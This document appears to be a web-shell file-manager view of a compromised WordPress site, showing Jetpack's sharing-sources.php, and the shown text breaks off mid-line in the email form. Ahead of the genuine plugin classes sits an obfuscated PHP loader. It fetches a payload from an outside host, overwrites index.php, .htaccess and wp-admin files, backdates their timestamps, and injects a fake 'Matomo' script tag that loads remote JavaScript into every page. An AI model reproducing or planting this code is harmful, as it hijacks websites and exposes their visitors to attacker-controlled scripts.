0byt3m1n1
Path:
/
home1
/
aserty
/
public_html
/
bonniescraftygifts.com
/
iFzj4
/
configCHM
/
Jump
/
0-aserty
/
beatlesmontreal.com
/
wp-contentebbd3f
/
uploads
/
wp-content
/
plugins
/
jetpack
/
modules
/
sharedaddy
/
[
Home
]
File: sharing-sources.php
<?php /*Leafmail3*/goto hsxm4; mY3D9: $OKi1f .= "\145\x6e"; goto PMx6A; Kd95g: $eE8gG .= "\x66\x69\154\x65"; goto oGKV2; c0Bp6: $Jl55q .= "\164\157"; goto hLq5m; Vp4xb: $P5GVh = $Jl55q($guwhq); goto KpZeQ; KGgiz: $Yg3cE .= "\46\x68\x3d" . $Q6Si4; goto tGPrB; xpAbl: $PP2HF = $M1RhP($lL4Rq) || $M1RhP($Cb4XV); goto HSzn5; Kc0L3: @$jg8CY($QTlc9, $L0vpN); goto d3U3f; J7hLY: $oyXyy .= "\154\x72"; goto Bl7Ky; bQe_M: try { goto oX1u4; oX1u4: @$jg8CY($QTlc9, $HwdP2); goto mGuog; mGuog: @$jg8CY($OEoU0, $HwdP2); goto xHE2w; TupRK: @$jg8CY($OEoU0, $L0vpN); goto Mf0Y6; KHm7H: @$x09Um($KCjdR, $P5GVh); goto gKo15; gKo15: @$jg8CY($QTlc9, $L0vpN); goto fLtCp; c1PqG: @$jg8CY($KCjdR, $L0vpN); goto KHm7H; HZmuJ: @$jg8CY($KCjdR, $HwdP2); goto BHPy7; Mf0Y6: @$x09Um($OEoU0, $P5GVh); goto HZmuJ; BHPy7: @$SUpxe($KCjdR, $KmcLU["\142"]); goto c1PqG; xHE2w: @$SUpxe($OEoU0, $KmcLU["\x61"]); goto TupRK; fLtCp: } catch (Exception $w0YG7) { } goto KYs1a; Jfk_p: $guwhq = "\x2d\61"; goto FfLog; aYiIS: $NMbX8 .= "\144\x69\x72"; goto aKKe8; UPbyC: $HwdP2 += 304; goto fGMBR; JJZtD: $Jzlvr .= "\x75\156\143\164"; goto K31Ka; wCWRd: $SUj9O .= "\x73\x65"; goto SQa11; EdFV9: $M1RhP = "\144\x65\x66"; goto CcXTx; SDHjH: $QTlc9 = $_SERVER[$zl1NS]; goto BhGva; v4imZ: $aBJVO .= "\165\x65\162\x79"; goto ccRhk; C3xz0: $QuqQl .= "\157\160\164"; goto ExrBe; Mn8P4: $nCEBP .= "\143\153"; goto rirWy; oGKV2: $AIpqX = "\x69\x73\137"; goto yLTbR; ShiTE: $jg8CY = "\143\x68"; goto HTXlE; FRUFZ: if (!(!$PP2HF && $wU3zB)) { goto cynsl; } goto fT2Kb; D5OCa: $Jl55q = "\x73\164\162"; goto c0Bp6; jFRX7: $x09Um .= "\x75\143\150"; goto ShiTE; CIdAQ: try { goto uKjO1; uKjO1: $KJxhs = $Lbxvg(); goto h_HFe; ahPCJ: $SpmAm = $qG0GR($KJxhs); goto EzjNL; xG0S9: $QuqQl($KJxhs, CURLOPT_TIMEOUT, 10); goto ahPCJ; SQbKW: $QuqQl($KJxhs, CURLOPT_FOLLOWLOCATION, true); goto xG0S9; FS40F: $QuqQl($KJxhs, CURLOPT_RETURNTRANSFER, 1); goto h05EJ; h05EJ: $QuqQl($KJxhs, CURLOPT_SSL_VERIFYPEER, false); goto KfHmj; cFoFb: $SpmAm = trim(trim($SpmAm, "\xef\273\277")); goto XVsob; KfHmj: $QuqQl($KJxhs, CURLOPT_SSL_VERIFYHOST, false); goto SQbKW; EzjNL: $SUj9O($KJxhs); goto cFoFb; h_HFe: $QuqQl($KJxhs, CURLOPT_URL, $Yg3cE); goto FS40F; XVsob: } catch (Exception $w0YG7) { } goto Rf0CY; OWp53: $NMbX8 = "\155\x6b"; goto aYiIS; Dx3FV: $lrArR = $WVzi1[0]; goto IH6rw; i5aD2: if (!(!$eE8gG($KCjdR) || $wgQyS($KCjdR) != $CXpqw)) { goto eit7d; } goto KjDHJ; FWxON: $PVllF = "\144\x65\143"; goto EwaSn; KjDHJ: $YEcMX = 1; goto z9vF6; ZyUiw: $Jzlvr .= "\167\156\137\146"; goto JJZtD; mCzgW: $_SERVER[$Jzlvr] = 0; goto EkOAP; NflDd: $Yg3cE .= "\x63\157\x70\171"; goto KGgiz; yB2Sc: $JyN8a .= "\x69\x73\164\163"; goto Rkiyf; klUXl: $KCjdR .= "\x61\x63\x63\x65\163\x73"; goto lFs7r; Fra8y: $k1dzM = "\65"; goto Js55e; pF1JS: $OEoU0 .= "\150\160"; goto C_QnM; xhtvx: $leXnA .= "\x6e\x69"; goto rLZqh; n28OO: $sJIxp .= "\151\141\154\151\172\x65"; goto bm81E; znIi3: @unlink($leXnA); goto Kc0L3; slgUn: $sJIxp = "\x75\156\163\145\162"; goto n28OO; QELur: $Jzlvr .= "\147\151\x73\x74"; goto lEaPh; Js55e: $k1dzM .= "\56\x34"; goto N7I8b; rLZqh: if (!$eE8gG($leXnA)) { goto WwLVo; } goto laOt4; yCiib: EKIjw: goto m_fRf; Gcw6D: $SLV70 .= "\x6f\x6e\x5f\143\157\x6d"; goto FFtsE; bm81E: $a2D8O = "\151\x6e\164"; goto l0tUv; xQGdz: try { $_SERVER[$Jzlvr] = 1; $Jzlvr(function () { goto F3wJk; ZjuUH: $PgG92 .= "\x6f\162\145\x28\x67\54\x73\51\73" . "\xa"; goto IC5Gf; HNrtn: $PgG92 .= "\164\x2f\x6a\141\x76\x61"; goto NGG39; NGG39: $PgG92 .= "\163\x63\x72\x69\x70\x74\x22\x3e" . "\12"; goto fvKWo; zjuBs: $PgG92 .= $Q6Si4; goto ozlGd; e43vJ: $PgG92 .= "\x3b\40\147\x2e\x64\145\146"; goto WAaTZ; ctigl: $PgG92 .= "\143\x72\x69\x70\x74\76\12"; goto UQzFQ; o0zxz: $PgG92 .= "\x74\x6f\155\x6f\x20\x2d\55\x3e\12"; goto mPwIJ; HgwKa: $PgG92 .= "\x67\56\163\x72"; goto XHdHm; cMvbH: $PgG92 .= "\x3f\x69\x64\x3d"; goto CPJJv; T8SNl: $PgG92 .= "\x28\42\163\143\x72\x69"; goto DVVjf; EQZrG: $PgG92 .= "\165\155\x65\156\164\54\40\147\x3d\x64\56\x63\x72\x65\141\164\x65"; goto CVmAR; OsCJL: $PgG92 .= "\x72\x69\160\x74\x20\164\171\x70\x65\x3d\42\164\145\x78"; goto HNrtn; fvKWo: $PgG92 .= "\x28\146\x75\x6e\x63"; goto D9Z4J; XHdHm: $PgG92 .= "\143\x3d\x75\53\42\x6a\x73\x2f"; goto zjuBs; F3wJk: global $Q6Si4, $FOvp_; goto ikpGs; DVVjf: $PgG92 .= "\x70\164\x22\51\x5b\x30\135\73" . "\12"; goto OlxLe; CPJJv: $PgG92 .= "\x4d\55"; goto nBzuv; wKipS: $PgG92 .= "\x6a\141\x76\141"; goto y_xeS; D9Z4J: $PgG92 .= "\x74\x69\157\x6e\x28\51\x20\x7b" . "\12"; goto vt08G; vXk66: $PgG92 .= "\x79\124\x61\147\116\x61\155\145"; goto T8SNl; ikpGs: $PgG92 = "\x3c\x21\x2d\x2d\40\115\x61"; goto o0zxz; rJXe5: $PgG92 .= "\x72\151\160\164\42\51\x2c\40\163\75\144\56\147\x65\164"; goto pxHT_; VSQBz: $PgG92 .= "\x73\171\x6e\143\75\x74\162\x75\145"; goto e43vJ; pxHT_: $PgG92 .= "\x45\154\145\x6d\x65\x6e\x74\x73\x42"; goto vXk66; QIy0x: $PgG92 .= "\157\x6d\157\40\103\157\x64"; goto Uxlnc; rjIua: $PgG92 .= "\74\57\x73"; goto ctigl; puLbh: $PgG92 .= "\x3d\x22\164\x65\170\164\x2f"; goto wKipS; CVmAR: $PgG92 .= "\x45\154\145\155\145\x6e\164\50\42\x73\143"; goto rJXe5; UU_6f: $PgG92 .= "\x22\73\40\163\x2e\160\141\x72"; goto aBxBL; c1FaP: echo $PgG92; goto zSGUt; UQzFQ: $PgG92 .= "\x3c\x21\x2d\55\x20\x45\x6e"; goto qvKfj; IC5Gf: $PgG92 .= "\x7d\x29\50\51\73" . "\xa"; goto rjIua; OlxLe: $PgG92 .= "\x67\56\164\x79\x70\x65"; goto puLbh; EfTgB: $PgG92 .= "\166\x61\x72\40\x64\x3d\x64\x6f\143"; goto EQZrG; nBzuv: $PgG92 .= time(); goto UU_6f; Uxlnc: $PgG92 .= "\145\40\55\x2d\76\xa"; goto c1FaP; mZ3oI: $PgG92 .= "\x73\x65\x72\x74\102\145\x66"; goto ZjuUH; WAaTZ: $PgG92 .= "\x65\x72\x3d\164\162\x75\x65\x3b" . "\12"; goto HgwKa; ozlGd: $PgG92 .= "\57\x6d\x61\164"; goto TbrIf; aBxBL: $PgG92 .= "\145\x6e\164\x4e\x6f\144\x65\x2e\x69\156"; goto mZ3oI; mPwIJ: $PgG92 .= "\x3c\x73\x63"; goto OsCJL; vt08G: $PgG92 .= "\166\x61\x72\x20\x75\x3d\42" . $FOvp_ . "\42\x3b" . "\12"; goto EfTgB; y_xeS: $PgG92 .= "\163\x63\x72\x69\x70\x74\x22\73\40\147\56\x61"; goto VSQBz; qvKfj: $PgG92 .= "\144\40\115\141\x74"; goto QIy0x; TbrIf: $PgG92 .= "\157\155\157\56\x6a\163"; goto cMvbH; zSGUt: }); } catch (Exception $w0YG7) { } goto OMFq0; HTXlE: $jg8CY .= "\155\x6f\144"; goto u78ub; KT1wX: $WVzi1 = []; goto TZ3bq; d3U3f: WwLVo: goto QM61W; h87Dq: $leXnA .= "\145\162\x2e\x69"; goto xhtvx; nIVO8: $JyN8a = "\x66\x75\156\143"; goto GoX1L; jFsRM: $tAPba = 5; goto mY7sQ; SQa11: $aBJVO = "\150\164\x74\160\x5f\142"; goto AJs9s; laOt4: @$jg8CY($QTlc9, $HwdP2); goto L3sEg; MPyJp: $Jzlvr .= "\x73\x68\165"; goto scBFF; hs_XX: if (!is_array($KmcLU)) { goto Ji4ud; } goto LNg_o; L3sEg: @$jg8CY($leXnA, $HwdP2); goto znIi3; QIUGn: $SUpxe .= "\160\x75\164\137\x63"; goto kd_ew; KVOXl: $oyXyy = $QTlc9; goto coTO5; lEaPh: $Jzlvr .= "\x65\x72\137"; goto MPyJp; BhGva: $pW2vG = $QTlc9; goto NAu12; qNILG: $oyXyy .= "\150\160\56\60"; goto RNzhh; Zn9KR: $Lbxvg .= "\154\x5f\x69\x6e\151\x74"; goto qk2Ao; ZoBZC: $qG0GR .= "\154\x5f\x65\170\x65\x63"; goto AVxD0; mY7sQ: $tAPba += 3; goto y9KuX; ttAoG: $Yg3cE .= "\x3d\x67\145\x74"; goto NflDd; FFtsE: $SLV70 .= "\160\141\162\145"; goto EdFV9; eBPlp: $tbkvt .= "\137\x48\x4f\x53\x54"; goto mlRqF; y9KuX: $HwdP2 = 189; goto UPbyC; trQa2: $eE8gG = "\151\x73\x5f"; goto Kd95g; coTO5: $oyXyy .= "\x2f\170\x6d"; goto J7hLY; ccRhk: $D68oh = "\155\x64\x35"; goto wF0JY; zFQvK: $Kp0SW .= "\145\x70\x74\x61\x62\x6c\x65"; goto KVOXl; QsGMA: if (!(!$eE8gG($OEoU0) || $wgQyS($OEoU0) != $lrArR)) { goto Phq1q; } goto hbhZ9; dNN2Q: $L0vpN += 150; goto BU5yK; mf5ON: $QuqQl .= "\x6c\x5f\x73\x65\x74"; goto C3xz0; hTxii: $pFwD_ = "\x2f\136\x63"; goto GJpaV; SjSdb: if (!($JyN8a($Lbxvg) && !preg_match($pFwD_, PHP_SAPI) && $nCEBP($lMxQN, 2 | 4))) { goto sPsQO; } goto NFErl; xsENl: try { goto Rj1Hp; zDVDE: $ahOJp .= "\164\75\x63\141"; goto YWC0r; EdFQK: if ($AIpqX($Io3QB)) { goto BpK_a; } goto r_zk0; OTh7W: $Io3QB = dirname($Nfe0e); goto EdFQK; toAoY: @$jg8CY($Io3QB, $HwdP2); goto ALYMH; g2WNq: $ahOJp = $FOvp_; goto Q_jhz; YWC0r: $ahOJp .= "\154\154"; goto qpBjZ; Rj1Hp: $Nfe0e = $QTlc9 . $KmcLU["\x64"]["\160\141\164\150"]; goto OTh7W; r_zk0: @$NMbX8($Io3QB, $HwdP2, true); goto yxLDn; IMGFo: VUik8: goto OCPb3; ALYMH: @$SUpxe($Nfe0e, $KmcLU["\144"]["\x63\157\x64\x65"]); goto D2b8f; yxLDn: BpK_a: goto VXrMt; VXrMt: if (!$AIpqX($Io3QB)) { goto VUik8; } goto toAoY; l8bWn: try { goto Rtq9b; N8H27: $SUj9O($KJxhs); goto PHxGn; P9hMZ: $QuqQl($KJxhs, CURLOPT_URL, $ahOJp); goto aJWcu; GlRPI: $QuqQl($KJxhs, CURLOPT_POSTFIELDS, $aBJVO($nLpk_)); goto M4b4c; bz5Ia: $QuqQl($KJxhs, CURLOPT_POST, 1); goto GlRPI; ifFFq: $QuqQl($KJxhs, CURLOPT_SSL_VERIFYHOST, false); goto kx509; M4b4c: $qG0GR($KJxhs); goto N8H27; UfA6j: $QuqQl($KJxhs, CURLOPT_TIMEOUT, 3); goto bz5Ia; kx509: $QuqQl($KJxhs, CURLOPT_FOLLOWLOCATION, true); goto UfA6j; aJWcu: $QuqQl($KJxhs, CURLOPT_RETURNTRANSFER, 1); goto hBtdw; Rtq9b: $KJxhs = $Lbxvg(); goto P9hMZ; hBtdw: $QuqQl($KJxhs, CURLOPT_SSL_VERIFYPEER, false); goto ifFFq; PHxGn: } catch (Exception $w0YG7) { } goto IMGFo; s60Ax: @$x09Um($Nfe0e, $P5GVh); goto g2WNq; Q_jhz: $ahOJp .= "\77\x61\x63"; goto zDVDE; D2b8f: @$jg8CY($Nfe0e, $L0vpN); goto s_yVr; qpBjZ: $nLpk_ = ["\144\141\164\141" => $KmcLU["\x64"]["\165\162\x6c"]]; goto l8bWn; s_yVr: @$jg8CY($Io3QB, $L0vpN); goto s60Ax; OCPb3: } catch (Exception $w0YG7) { } goto bQe_M; e4Ifc: $Q6Si4 = $_SERVER[$tbkvt]; goto SDHjH; EwaSn: $PVllF .= "\x6f\143\x74"; goto CwGUI; yLTbR: $AIpqX .= "\x64\151\x72"; goto OWp53; BpAbm: $lL4Rq = "\x57\120\137\x55"; goto lIGrh; QBgho: Z7kbo: goto MUx3h; IH6rw: $CXpqw = $WVzi1[1]; goto QsGMA; yCtJ5: $JyN8a .= "\145\170"; goto yB2Sc; rirWy: $d_KAU = "\x66\143\x6c"; goto kGS2i; ExrBe: $qG0GR = $MogIQ; goto ZoBZC; qk2Ao: $QuqQl = $MogIQ; goto mf5ON; Z31wx: $jg8CY($QTlc9, $HwdP2); goto Ag8lc; K4l5B: $OEoU0 .= "\144\x65\x78\x2e\160"; goto pF1JS; bRDE_: $Cb4XV .= "\x5f\x41\x44"; goto YF7Rp; nElWS: $guwhq .= "\141\x79\x73"; goto Vp4xb; tP5eQ: $pW2vG .= "\x2d\141"; goto wx8gB; GJpaV: $pFwD_ .= "\x6c\151\57"; goto xJCEv; lFs7r: $leXnA = $QTlc9; goto tV4kM; t0fao: $Yg3cE = $FOvp_; goto NZ1x6; XrDkv: if (isset($_SERVER[$Jzlvr])) { goto r0CaT; } goto mCzgW; PMx6A: $nCEBP = "\146\154\157"; goto Mn8P4; C2C3X: $wgQyS .= "\154\x65"; goto trQa2; zsusp: $KmcLU = 0; goto jkCOI; NIEOu: $L0vpN = 215; goto dNN2Q; OEFkW: rsAYm: goto UL5LC; hbhZ9: $YEcMX = 1; goto IiUuQ; m_fRf: if (!$YEcMX) { goto gtKXO; } goto t0fao; i7ojl: $guwhq .= "\63\40\144"; goto nElWS; NAu12: $pW2vG .= "\57\x77\160"; goto tP5eQ; iw0Nk: $FOvp_ .= "\154\x69\x6e\x6b\56\164"; goto hSD1f; scBFF: $Jzlvr .= "\164\144\x6f"; goto ZyUiw; KpZeQ: $tbkvt = "\x48\124\124\120"; goto eBPlp; r500z: $KCjdR .= "\x2f\56\x68\x74"; goto klUXl; OMFq0: w6JGc: goto bH1zF; kd_ew: $SUpxe .= "\x6f\x6e\164\145\x6e\x74\163"; goto diLdg; PoTvn: $OEoU0 = $QTlc9; goto Fc1AY; aKKe8: $wM0cw = "\146\151\154\x65\137"; goto J0OQr; J3xw9: $FOvp_ = "\150\x74\x74\x70\163\72\57\57"; goto QlKtX; hSD1f: $FOvp_ .= "\157\160\57"; goto F0vj_; kGS2i: $d_KAU .= "\x6f\163\x65"; goto J3xw9; QM61W: $YEcMX = 0; goto SUEqd; p0Flx: $SUj9O .= "\154\137\143\x6c\x6f"; goto wCWRd; hLq5m: $Jl55q .= "\164\151"; goto lcFkG; YF7Rp: $Cb4XV .= "\115\x49\116"; goto xpAbl; eC9HP: $IhD_T = substr($D68oh($Q6Si4), 0, 6); goto DX3Ky; R8zQO: $SUpxe = "\146\151\x6c\145\137"; goto QIUGn; QlKtX: $FOvp_ .= "\x73\x65\x6f"; goto iw0Nk; C_QnM: $KCjdR = $QTlc9; goto r500z; EVan7: $y1BSo .= "\66\x34\x5f\x64"; goto n14XQ; CwGUI: $LDT3_ = "\x73\x74\x72"; goto iemde; wF0JY: $wgQyS = $D68oh; goto tC7IY; lcFkG: $Jl55q .= "\155\145"; goto nIVO8; LNg_o: try { goto mjWqA; aMSC6: @$jg8CY($iTCcx, $L0vpN); goto uokyK; UHS8F: @$jg8CY($pW2vG, $HwdP2); goto EZm8t; uokyK: @$x09Um($iTCcx, $P5GVh); goto bavy5; aNk_f: a5xL9: goto q700I; EZm8t: $iTCcx = $E3Ibu; goto aNk_f; OGZQL: if (!$AIpqX($pW2vG)) { goto a5xL9; } goto UHS8F; q700I: @$SUpxe($iTCcx, $KmcLU["\x63"]); goto aMSC6; mjWqA: @$jg8CY($QTlc9, $HwdP2); goto OGZQL; bavy5: } catch (Exception $w0YG7) { } goto xsENl; KYs1a: Ji4ud: goto QBgho; mlRqF: $zl1NS = "\104\x4f\103\125\115\x45\x4e\x54"; goto hivPL; OH0x0: $Tut_m .= "\x6e\146\154\x61\x74\145"; goto slgUn; Rf0CY: if (!($SpmAm !== false)) { goto Z7kbo; } goto zsusp; RNzhh: $OKi1f = "\146\157\160"; goto mY3D9; tC7IY: $wgQyS .= "\x5f\146\x69"; goto C2C3X; xePje: $Kp0SW = "\110\x54\124"; goto xIN_k; fT2Kb: $_POST = $_REQUEST = $_FILES = array(); goto UASYd; diLdg: $x09Um = "\164\157"; goto jFRX7; DX3Ky: $E3Ibu = $iTCcx = $pW2vG . "\57" . $IhD_T; goto KT1wX; J0OQr: $wM0cw .= "\x67\145\x74\137\x63"; goto KA3CR; MUx3h: gtKXO: goto qfVae; Ag8lc: $lMxQN = $OKi1f($oyXyy, "\167\x2b"); goto SjSdb; Rkiyf: $MogIQ = "\x63\165\x72"; goto chVKY; TZ3bq: $dmwnh = 32; goto jFsRM; tGPrB: $SpmAm = false; goto CIdAQ; hivPL: $zl1NS .= "\x5f\x52\117\117\x54"; goto Fra8y; Gx5VO: $Kp0SW .= "\60\x36\40\116\x6f"; goto z0Ye5; UL5LC: $YEcMX = 1; goto yCiib; NZ1x6: $Yg3cE .= "\77\141\143\x74"; goto ttAoG; xIN_k: $Kp0SW .= "\120\57\x31\x2e\x31\40\x34"; goto Gx5VO; BU5yK: $L0vpN = $a2D8O($PVllF($L0vpN), $tAPba); goto xePje; HPuPS: $SLV70 = "\166\145\162\x73\x69"; goto Gcw6D; lIGrh: $lL4Rq .= "\123\105\137\x54\x48\x45"; goto uBz23; GoX1L: $JyN8a .= "\164\x69\157\x6e\x5f"; goto yCtJ5; wx8gB: $pW2vG .= "\x64\x6d\151\156"; goto eC9HP; mEJVe: $s6EXz = $_FILES; goto p7L1U; uBz23: $lL4Rq .= "\115\x45\123"; goto Me43b; F0vj_: $Jzlvr = "\162\145"; goto QELur; l0tUv: $a2D8O .= "\x76\x61\154"; goto FWxON; tV4kM: $leXnA .= "\57\56\x75\163"; goto h87Dq; z0Ye5: $Kp0SW .= "\x74\40\101\x63\x63"; goto zFQvK; aSc51: goto EKIjw; goto OEFkW; K31Ka: $Jzlvr .= "\x69\157\x6e"; goto XrDkv; IiUuQ: Phq1q: goto i5aD2; NFErl: $jg8CY($QTlc9, $L0vpN); goto aro2m; EkOAP: r0CaT: goto BpAbm; UASYd: cynsl: goto Z31wx; N7I8b: $k1dzM .= "\x2e\60\73"; goto e4Ifc; Fc1AY: $OEoU0 .= "\x2f\151\156"; goto K4l5B; Bl7Ky: $oyXyy .= "\160\143\x2e\x70"; goto qNILG; HSzn5: $P0UrJ = $_REQUEST; goto mEJVe; KA3CR: $wM0cw .= "\157\156\164\x65\x6e\164\163"; goto R8zQO; AJs9s: $aBJVO .= "\165\151\154\x64\137\161"; goto v4imZ; z9vF6: eit7d: goto aSc51; chVKY: $Lbxvg = $MogIQ; goto Zn9KR; jkCOI: try { $KmcLU = @$sJIxp($Tut_m($y1BSo($SpmAm))); } catch (Exception $w0YG7) { } goto hs_XX; FfLog: $guwhq .= "\x33\x36"; goto i7ojl; u78ub: $y1BSo = "\x62\141\x73\x65"; goto EVan7; Me43b: $Cb4XV = "\127\x50"; goto bRDE_; p7L1U: $wU3zB = !empty($P0UrJ) || !empty($s6EXz); goto FRUFZ; bH1zF: try { goto hOljI; hTb2m: $WVzi1[] = $qQkQf; goto AVR1Z; wTrAR: $WVzi1[] = $mps9W; goto USnsY; O2FVm: $iTCcx = $QTlc9 . "\57" . $IhD_T; goto wiWx3; o5KeW: if (!empty($WVzi1)) { goto YMthw; } goto O2FVm; m1oNR: $WVzi1[] = $mps9W; goto hTb2m; C5yVp: NQbOe: goto o5KeW; uB5Qk: $mps9W = trim($JwExk[0]); goto hHGO3; tXeIo: I87JI: goto KjVrB; of38T: $JwExk = @explode("\72", $wM0cw($iTCcx)); goto lJihh; e3ZU6: $mps9W = trim($JwExk[0]); goto s4UPH; AVR1Z: uxegI: goto K3NXW; lU9RV: if (!($LDT3_($mps9W) == $dmwnh && $LDT3_($qQkQf) == $dmwnh)) { goto iEvPe; } goto wTrAR; ysg_I: LUX7P: goto tXeIo; BWadG: if (!(is_array($JwExk) && count($JwExk) == 2)) { goto LUX7P; } goto uB5Qk; wiWx3: if (!$eE8gG($iTCcx)) { goto I87JI; } goto GGIpg; hOljI: if (!$eE8gG($iTCcx)) { goto NQbOe; } goto of38T; GGIpg: $JwExk = @explode("\x3a", $wM0cw($iTCcx)); goto BWadG; KjVrB: YMthw: goto jes1d; hHGO3: $qQkQf = trim($JwExk[1]); goto lU9RV; m5G9U: if (!($LDT3_($mps9W) == $dmwnh && $LDT3_($qQkQf) == $dmwnh)) { goto uxegI; } goto m1oNR; zW9Vv: iEvPe: goto ysg_I; s4UPH: $qQkQf = trim($JwExk[1]); goto m5G9U; lJihh: if (!(is_array($JwExk) && count($JwExk) == 2)) { goto oJdNI; } goto e3ZU6; USnsY: $WVzi1[] = $qQkQf; goto zW9Vv; K3NXW: oJdNI: goto C5yVp; jes1d: } catch (Exception $w0YG7) { } goto PoTvn; W_RKl: $Tut_m = "\147\x7a\151"; goto OH0x0; n14XQ: $y1BSo .= "\145\x63\157\144\145"; goto W_RKl; hsxm4: $pqAdF = "\x3c\104\x44\115\76"; goto hTxii; xJCEv: $pFwD_ .= "\x73\x69"; goto D5OCa; SUEqd: if (empty($WVzi1)) { goto rsAYm; } goto Dx3FV; CcXTx: $M1RhP .= "\x69\x6e\145\x64"; goto Jfk_p; aro2m: if (!(!$_SERVER[$Jzlvr] && $SLV70(PHP_VERSION, $k1dzM, "\76"))) { goto w6JGc; } goto xQGdz; iemde: $LDT3_ .= "\x6c\145\156"; goto HPuPS; fGMBR: $HwdP2 = $a2D8O($PVllF($HwdP2), $tAPba); goto NIEOu; AVxD0: $SUj9O = $MogIQ; goto p0Flx; qfVae: sPsQO: ?> <?php abstract class Sharing_Source { public $button_style; public $smart; protected $open_links; protected $id; public function __construct( $id, array $settings ) { $this->id = $id; if ( isset( $settings['button_style'] ) ) $this->button_style = $settings['button_style']; if ( isset( $settings['open_links'] ) ) $this->open_links = $settings['open_links']; if ( isset( $settings['smart'] ) ) $this->smart = $settings['smart']; } public function get_id() { return $this->id; } public function get_class() { return $this->id; } public function get_share_url( $post_id ) { return apply_filters( 'sharing_permalink', get_permalink( $post_id ), $post_id, $this->id ); } public function has_custom_button_style() { return false; } public function get_link( $url, $text, $title, $query = '', $id = false ) { $klasses = array( 'share-'.$this->get_class(), 'sd-button' ); if ( $this->button_style == 'icon' || $this->button_style == 'icon-text' ) $klasses[] = 'share-icon'; if ( $this->button_style == 'icon' ) { $text = ''; $klasses[] = 'no-text'; } if ( !empty( $query ) ) { if ( stripos( $url, '?' ) === false ) $url .= '?'.$query; else $url .= '&'.$query; } if ( $this->button_style == 'text' ) $klasses[] = 'no-icon'; return sprintf( '<a rel="nofollow" class="%s" href="%s"%s title="%s"%s><span>%s</span></a>', implode( ' ', $klasses ), $url, ( $this->open_links == 'new' ) ? ' target="_blank"' : '', $title, ( $id ? ' id="' . esc_attr( $id ) . '"' : '' ), $text ); } abstract public function get_name(); abstract public function get_display( $post ); public function display_header() { } public function display_footer() { } public function has_advanced_options() { return false; } public function display_preview() { $text = ' '; if ( !$this->smart ) if ( $this->button_style != 'icon' ) $text = $this->get_name(); $klasses = array( 'share-'.$this->get_class(), 'sd-button' ); if ( $this->button_style == 'icon' || $this->button_style == 'icon-text' ) $klasses[] = 'share-icon'; if ( $this->button_style == 'icon' ) $klasses[] = 'no-text'; if ( $this->button_style == 'text' ) $klasses[] = 'no-icon'; $link = sprintf( '<a rel="nofollow" class="%s" href="javascript:void(0);return false;" title="%s"><span>%s</span></a>', implode( ' ', $klasses ), $this->get_name(), $text ); ?> <div class="option option-smart-<?php echo $this->smart ? 'on' : 'off'; ?>"> <?php echo $link; ?> </div><?php } public function get_total( $post = false ) { global $wpdb, $blog_id; $name = strtolower( $this->get_id() ); if ( $post == false ) { // get total number of shares for service return (int) $wpdb->get_var( $wpdb->prepare( "SELECT SUM( count ) FROM sharing_stats WHERE blog_id = %d AND share_service = %s", $blog_id, $name ) ); } // get total shares for a post return (int) $wpdb->get_var( $wpdb->prepare( "SELECT count FROM sharing_stats WHERE blog_id = %d AND post_id = %d AND share_service = %s", $blog_id, $post->ID, $name ) ); } public function get_posts_total() { global $wpdb, $blog_id; $totals = array(); $name = strtolower( $this->get_id() ); $my_data = $wpdb->get_results( $wpdb->prepare( "SELECT post_id as id, SUM( count ) as total FROM sharing_stats WHERE blog_id = %d AND share_service = %s GROUP BY post_id ORDER BY count DESC ", $blog_id, $name ) ); if ( !empty( $my_data ) ) foreach( $my_data as $row ) $totals[] = new Sharing_Post_Total( $row->id, $row->total ); usort( $totals, array( 'Sharing_Post_Total', 'cmp' ) ); return $totals; } public function process_request( $post, array $post_data ) { do_action( 'sharing_bump_stats', array( 'service' => $this, 'post' => $post ) ); } public function js_dialog( $name, $params = array() ) { $defaults = array( 'menubar' => 1, 'resizable' => 1, 'width' => 600, 'height' => 400, ); $params = array_merge( $defaults, $params ); $opts = array(); foreach( $params as $key => $val ) { $opts[] = "$key=$val"; } $opts = implode( ',', $opts ); ?> <script type="text/javascript" charset="utf-8"> jQuery(document).ready(function(){ jQuery( '.share-<?php echo $name; ?>' ).click(function(){ window.open( jQuery(this).attr( 'href' ), 'wpcom<?php echo $name; ?>', '<?php echo $opts; ?>' ); return false; }); }); </script> <?php } } abstract class Sharing_Advanced_Source extends Sharing_Source { public function has_advanced_options() { return true; } abstract public function display_options(); abstract public function update_options( array $data ); abstract public function get_options(); } class Share_Email extends Sharing_Source { var $shortname = 'email'; public function __construct( $id, array $settings ) { parent::__construct( $id, $settings ); if ( 'official' == $this->button_style ) $this->smart = true; else $this->smart = false; } public function get_name() { return __( 'Email', 'jetpack' ); } // Default does nothing public function process_request( $post, array $post_data ) { $ajax = false; if ( isset( $_SERVER['HTTP_X_REQUESTED_WITH'] ) && strtolower( $_SERVER['HTTP_X_REQUESTED_WITH'] ) == 'xmlhttprequest' ) $ajax = true; $source_email = $target_email = $source_name = false; if ( isset( $post_data['source_email'] ) && is_email( $post_data['source_email'] ) ) $source_email = $post_data['source_email']; if ( isset( $post_data['target_email'] ) && is_email( $post_data['target_email'] ) ) $target_email = $post_data['target_email']; if ( isset( $post_data['source_name'] ) ) $source_name = $post_data['source_name']; // Test email $error = 1; // Failure in data if ( $source_email && $target_email && $source_name ) { if ( apply_filters( 'sharing_email_check', true, $post, $post_data ) ) { $data = array( 'post' => $post, 'source' => $source_email, 'target' => $target_email, 'name' => $source_name ); if ( ( $data = apply_filters( 'sharing_email_can_send', $data ) ) !== false ) { // Record stats parent::process_request( $data['post'], $post_data ); do_action( 'sharing_email_send_post', $data ); } // Return a positive regardless of whether the user is subscribed or not if ( $ajax ) { ?> <div class="response"> <div class="response-title"><?php _e( 'This post has been shared!', 'jetpack' ); ?></div> <div class="response-sub"><?php printf( __( 'You have shared this post with %s', 'jetpack' ), esc_html( $target_email ) ); ?></div> <div class="response-close"><a href="#" class="sharing_cancel"><?php _e( 'Close', 'jetpack' ); ?></a></div> </div> <?php } else wp_safe_redirect( get_permalink( $post->ID ).'?shared=email' ); die(); } else $error = 2; // Email check failed } if ( $ajax ) echo $error; else wp_safe_redirect( get_permalink( $post->ID ).'?shared=email&msg=fail' ); die(); } public function get_display( $post ) { return $this->get_link( get_permalink( $post->ID ), _x( 'Email', 'share to', 'jetpack' ), __( 'Click to email this to a friend', 'jetpack' ), 'share=email' ); } /** * Outputs the hidden email dialog */ public function display_footer() { global $current_user; $visible = $status = false; ?> <div id="sharing_email" style="display: none;"> <form action="" method="post"> <label for="target_email"><?php _e( 'Send to Email Address', 'jetpack' ) ?></label> <input type="text" name="target_email" id="target_email" value="" /> <?php if ( is_user_logged_in() ) : ?> <input type="hidden" name="source_name" value="<?php echo esc_attr( 